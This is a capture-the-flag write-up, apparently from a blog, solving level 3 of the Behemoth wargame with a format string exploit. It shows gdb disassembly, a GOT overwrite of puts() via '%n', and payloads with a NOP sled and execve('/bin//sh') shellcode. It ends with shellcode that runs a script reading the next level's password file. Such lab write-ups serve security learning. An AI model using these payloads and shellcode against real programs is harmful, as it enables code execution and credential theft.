behemoth3@behemoth:~$ /behemoth/behemoth3
Identify yourself: Guest
Welcome, Guest
aaaand goodbye again.
It asks to identify your self and then prints out a few messages.
The first one contains the input.
Let's look ad the code in gdb:
behemoth3@behemoth:~$ gdb /behemoth/behemoth3 ... (gdb) disassemble main Dump of assembler code for function main: 0x0804847b <+0>: push %ebp 0x0804847c <+1>: mov %esp,%ebp 0x0804847e <+3>: sub $0xc8,%esp 0x08048484 <+9>: push $0x8048560 0x08048489 <+14>: call 0x8048330 <printf@plt> 0x0804848e <+19>: add $0x4,%esp 0x08048491 <+22>: mov 0x80497c0,%eax 0x08048496 <+27>: push %eax 0x08048497 <+28>: push $0xc8 0x0804849c <+33>: lea -0xc8(%ebp),%eax 0x080484a2 <+39>: push %eax 0x080484a3 <+40>: call 0x8048340 <fgets@plt> 0x080484a8 <+45>: add $0xc,%esp 0x080484ab <+48>: push $0x8048574 0x080484b0 <+53>: call 0x8048330 <printf@plt> 0x080484b5 <+58>: add $0x4,%esp 0x080484b8 <+61>: lea -0xc8(%ebp),%eax 0x080484be <+67>: push %eax 0x080484bf <+68>: call 0x8048330 <printf@plt> 0x080484c4 <+73>: add $0x4,%esp 0x080484c7 <+76>: push $0x804857e 0x080484cc <+81>: call 0x8048350 <puts@plt> 0x080484d1 <+86>: add $0x4,%esp 0x080484d4 <+89>: mov $0x0,%eax 0x080484d9 <+94>: leave 0x080484da <+95>: ret End of assembler dump.
There's a sequence of fgets(), printf(), and then puts()
The first printf() writes "Welcome, " followed by the input
Let's try if we can use a format string to trigger something:
behemoth3@behemoth:~$ /behemoth/behemoth3
Identify yourself: AAAA%x%x
Welcome, AAAA4141414178257825
aaaand goodbye again.
OK, we were able to use "%x%x", so we should be able to use %n to write arbitrary values in arbitraty memory location.
There are some options here:
- overwrite return address of fgets with some shellcode we inject in the input
- overwrite a function address in the GOT table
While overwriting return address to the buffer can be more difficult and can require some brute forcing.
Using GOT overwrite tecnique, we can't select neither fgets(), because it is used for reading input, nor printf() because it is the function that executes the format string exploitation
behemoth3@behemoth:~$ objdump -R /behemoth/behemoth3 /behemoth/behemoth3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049794 R_386_GLOB_DAT __gmon_start__ 080497c0 R_386_COPY stdin@@GLIBC_2.0 080497a4 R_386_JUMP_SLOT printf@GLIBC_2.0 080497a8 R_386_JUMP_SLOT fgets@GLIBC_2.0 080497ac R_386_JUMP_SLOT puts@GLIBC_2.0 080497b0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
Natural choice is therefore the final puts(): its GOT entry is stored at address 0x080497ac
So let's use an input sequence composed by:
- 4 filling bytes ("AAAA")
- 4 bytes with address to be overwritten (0x080497ac)
- 60 bytes of NOP (to make the buffer location guess easier)
- 23 bytes of real shellcode (execve("/bin//sh"))
- format string to write a number at location specified at the beginnin
python -c 'print "AAAA\xac\x97\x04\x08AAAA" + "\x90" * 60 + "SHELLCODEHERECCCCDD" + "%1000x%n"' >/tmp/b3a
Now run gdb and input the file to the vulnerable executable:
behemoth3@behemoth:~$ gdb /behemoth/behemoth3
(gdb) r < /tmp/b3a
Starting program: /behemoth/behemoth3 < /tmp/b3a
Identify yourself: Welcome, AAAA¦AAAA¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦SHELLCODEHERECCCCDD 41414141
...
Program received signal SIGSEGV, Segmentation fault.
0x00000443 in ?? ()
(gdb) info reg esp
esp 0xffffd5e8 0xffffd5e8
(gdb) x/40wx 0xffffd5e8
0xffffd5e8: 0x080484d1 0x0804857e 0x41414141 0x080497ac
0xffffd5f8: 0x41414141 0x90909090 0x90909090 0x90909090
0xffffd608: 0x90909090 0x90909090 0x90909090 0x90909090
Wow, we changed the execution flow of program by jumping to address 0x00000443
Note that 0x0443 is decimal 1091, which is equal to 4 + 4 + 60 +23 + 1000 (i.e. the lenght in bytes of the input string before the "%n")
And also the buffer we want to execute is stored around 0xffffd600
So now with a few calculation
behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "S"*23 + "%54729x%n%10707x%n"' >/tmp/b3a behemoth3@behemoth:~$ gdb /behemoth/behemoth3 GNU gdb (Debian 7.12-6) 7.12.0.20161007-git ... Program received signal SIGSEGV, Segmentation fault. 0xffffd678 in ?? () (gdb)
We were able to jump somewhere inside the NOP sled
Let's put a real shellcode and execute the vulnerable program with strace
behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%54729x%n%10707x%n"' >/tmp/b3a behemoth3@behemoth:~$ strace /behemoth/behemoth3 < /tmp/b3a ... execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 strace: [ Process PID=19511 runs in 64 bit mode. ] ... getcwd("/home/behemoth3", 4096) = 16 ioctl(0, TCGETS, 0x7fffffffebb0) = -1 ENOTTY (Inappropriate ioctl for device)
We can run /bin//sh but there is the same ioctl issue as in level 1
So let's create a script that dumps the password file and run it in the shellcode instead of running /bin//sh:
behemoth3@behemoth:~$ cat > /tmp/b-3 #!/bin/sh /bin/cat /etc/behemoth_pass/behemoth4 ^C behemoth3@behemoth:~$ chmod +x /tmp/b-3 behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "\x31\xc0\x50\x68/b-3\x68/tmp\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%54729x%n%10707x%n"' >/tmp/b3a behemoth3@behemoth:~$ /behemoth/behemoth3 < /tmp/b3a i*******i
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.